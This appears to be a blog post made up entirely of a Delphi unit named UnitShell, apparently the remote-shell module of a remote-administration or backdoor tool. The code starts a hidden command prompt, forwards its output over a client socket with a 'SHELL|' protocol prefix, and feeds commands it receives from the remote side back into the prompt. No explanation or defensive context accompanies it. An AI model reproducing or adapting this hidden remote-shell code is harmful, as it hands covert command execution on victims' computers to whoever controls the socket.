BCB-DG's Blog

unit UnitShell;

interface

uses
  Windows, Messages, SysUtils, ScktComp;

type
  PShellParameters = ^TShellParameters;
  TShellParameters = record
    Cliente: TClientSocket;
  end;

const
  ENTER = #10;

var
  ShellThreadID: DWORD;

procedure ShellThread(P: Pointer); stdcall;

implementation

procedure ShellThread(P: Pointer); stdcall;
var
  si: TStartupInfo;
  pi: TProcessInformation;
  sa: PSecurityAttributes;
  hPipeRead1, hPipeWrite1, hPipeRead2, hPipeWrite2, dwBytes, dwExitCode: DWORD;
  ComSpec: array[0..MAX_PATH] of Char;
  Buf: array[0..1024] of Char;
  MemBuf: array of Char;
  msg: TMsg;
  TempStr: string;
  Cliente: TClientSocket;
begin
  Cliente := PShellParameters(P)^.Cliente;
  //
  GetMem(sa, SizeOf(SECURITY_ATTRIBUTES));
  sa.nLength := SizeOf(SECURITY_ATTRIBUTES);
  sa.bInheritHandle := True;
  sa.lpSecurityDescriptor := nil;
  CreatePipe(hPipeRead1, hPipeWrite1, sa, 0);
  CreatePipe(hPipeRead2, hPipeWrite2, sa, 0);
  GetEnvironmentVariable('COMSPEC', ComSpec, SizeOf(ComSpec));
  ZeroMemory(@si, SizeOf(si));
  si.cb := SizeOf(si);
  si.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
  si.wShowWindow := SW_HIDE;
  si.hStdInput := hPipeRead2;
  si.hStdOutput := hPipeWrite1;
  si.hStdError := hPipeWrite1;
  if CreateProcess(nil, ComSpec, sa, sa, True, 0, nil, nil, si, pi) then
  begin
 while True do
 begin
      GetExitCodeProcess(pi.hProcess, dwExitCode);
      if (dwExitCode <> STILL_ACTIVE) then Break;
   //
      TempStr := '';
      PeekNamedPipe(hPipeRead1, nil, 0, nil, @dwBytes, nil);
      while (dwBytes > 0) do
      begin
        if ReadFile(hPipeRead1, Buf, SizeOf(Buf), dwBytes, nil) then
          TempStr := TempStr + Copy(Buf, 1, dwBytes)
        else
    Break;
        PeekNamedPipe(hPipeRead1, nil, 0, nil, @dwBytes, nil);
      end;
      //
      if (Length(TempStr) > 0) then
      begin
        if Cliente.Active then
          Cliente.Socket.SendText('SHELL|' + IntToStr(Length(Trim(TempStr))) + '|' + TempStr + ENTER)
        else
    Break;
      end;
      //
      GetMessage(msg, 0, 0, 0);
      if (msg.message = WM_ACTIVATE) then
   begin
        WriteFile(hPipeWrite2, pchar(msg.lParam)^, msg.wParam, dwBytes, nil);
        WriteFile(hPipeWrite2, #13#10, 2, dwBytes, nil);
      end;
    end;
  end;
  //
  Cliente.Socket.SendText('SHELL|DESACTIVAR' + ENTER);
  TerminateProcess(pi.hProcess, 0);
  CloseHandle(pi.hProcess);
  CloseHandle(pi.hThread);
  FreeMem(sa);
  ShellThreadID := 0;
end;

procedure ShellPostMessageTimer;
begin
  if (ShellThreadID <> 0) then PostThreadMessage(ShellThreadID, 0, 0, 0);
end;

begin
  ShellThreadID := 0;
  SetTimer(0, 0, 1000, @ShellPostMessageTimer);
end.